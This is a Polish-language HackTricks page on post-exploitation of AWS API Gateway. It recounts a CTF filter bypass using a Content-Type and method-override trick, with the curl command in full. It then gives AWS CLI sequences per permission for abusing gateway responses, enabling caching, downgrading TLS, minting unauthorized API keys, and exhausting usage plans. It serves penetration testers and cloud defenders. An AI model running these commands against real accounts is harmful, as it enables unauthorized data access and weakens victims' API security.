7.6 KiB
AWS - API Gateway Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
API Gateway
Aby uzyskać więcej informacji, sprawdź:
{{#ref}} ../aws-services/aws-api-gateway-enum.md {{#endref}}
Dostęp do nieujawnionych API
Możesz utworzyć punkt końcowy w https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint z usługą com.amazonaws.us-east-1.execute-api, ujawnić punkt końcowy w sieci, do której masz dostęp (potencjalnie za pośrednictwem maszyny EC2) i przypisać grupę zabezpieczeń zezwalającą na wszystkie połączenia.
Następnie, z maszyny EC2 będziesz mógł uzyskać dostęp do punktu końcowego, a tym samym wywołać API bramy, które wcześniej nie było ujawnione.
Ominięcie przekazywania ciała żądania
Ta technika została znaleziona w tym opisie CTF.
Jak wskazano w dokumentacji AWS w sekcji PassthroughBehavior, domyślnie wartość WHEN_NO_MATCH, podczas sprawdzania nagłówka Content-Type żądania, przekaże żądanie do zaplecza bez transformacji.
W związku z tym, w CTF brama API miała szablon integracji, który zapobiegał wyciekowi flagi w odpowiedzi, gdy żądanie zostało wysłane z Content-Type: application/json:
RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
Jednak wysłanie żądania z Content-type: text/json uniemożliwiłoby ten filtr.
Na koniec, ponieważ API Gateway pozwalał tylko na Get i Options, możliwe było wysłanie dowolnego zapytania dynamoDB bez żadnych ograniczeń, wysyłając żądanie POST z zapytaniem w ciele i używając nagłówka X-HTTP-Method-Override: GET:
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
Plany Użytkowania DoS
W sekcji Enumeracja możesz zobaczyć, jak uzyskać plan użytkowania kluczy. Jeśli masz klucz i jest on ograniczony do X użyć na miesiąc, możesz po prostu go użyć i spowodować DoS.
Klucz API musi być dołączony w nagłówku HTTP o nazwie x-api-key.
apigateway:UpdateGatewayResponse, apigateway:CreateDeployment
Atakujący z uprawnieniami apigateway:UpdateGatewayResponse i apigateway:CreateDeployment może zmodyfikować istniejącą odpowiedź bramy, aby dodać niestandardowe nagłówki lub szablony odpowiedzi, które ujawniają wrażliwe informacje lub wykonują złośliwe skrypty.
API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"
# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Potencjalny wpływ: Wycieki wrażliwych informacji, wykonywanie złośliwych skryptów lub nieautoryzowany dostęp do zasobów API.
Note
Wymaga testowania
apigateway:UpdateStage, apigateway:CreateDeployment
Atakujący z uprawnieniami apigateway:UpdateStage i apigateway:CreateDeployment może zmodyfikować istniejący etap API Gateway, aby przekierować ruch do innego etapu lub zmienić ustawienia pamięci podręcznej, aby uzyskać nieautoryzowany dostęp do danych w pamięci podręcznej.
API_ID="your-api-id"
STAGE_NAME="Prod"
# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Potencjalny wpływ: Nieautoryzowany dostęp do danych w pamięci podręcznej, zakłócanie lub przechwytywanie ruchu API.
Note
Wymaga testowania
apigateway:PutMethodResponse, apigateway:CreateDeployment
Napastnik z uprawnieniami apigateway:PutMethodResponse i apigateway:CreateDeployment może zmodyfikować odpowiedź metody istniejącej metody API Gateway REST API, aby dodać niestandardowe nagłówki lub szablony odpowiedzi, które ujawniają wrażliwe informacje lub wykonują złośliwe skrypty.
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"
# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Potencjalny wpływ: Wyciek wrażliwych informacji, wykonywanie złośliwych skryptów lub nieautoryzowany dostęp do zasobów API.
Note
Wymaga testowania
apigateway:UpdateRestApi, apigateway:CreateDeployment
Napastnik z uprawnieniami apigateway:UpdateRestApi i apigateway:CreateDeployment może zmodyfikować ustawienia API Gateway REST API, aby wyłączyć logowanie lub zmienić minimalną wersję TLS, co może osłabić bezpieczeństwo API.
API_ID="your-api-id"
# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Potencjalny wpływ: Osłabienie bezpieczeństwa API, co może prowadzić do nieautoryzowanego dostępu lub ujawnienia wrażliwych informacji.
Note
Wymaga testowania
apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey
Atakujący z uprawnieniami apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan i apigateway:CreateUsagePlanKey może tworzyć nowe klucze API, przypisywać je do planów użytkowania, a następnie używać tych kluczy do nieautoryzowanego dostępu do API.
# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')
# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
Potencjalny wpływ: Nieautoryzowany dostęp do zasobów API, omijanie zabezpieczeń.
Note
Wymaga testowania
{{#include ../../../banners/hacktricks-training.md}}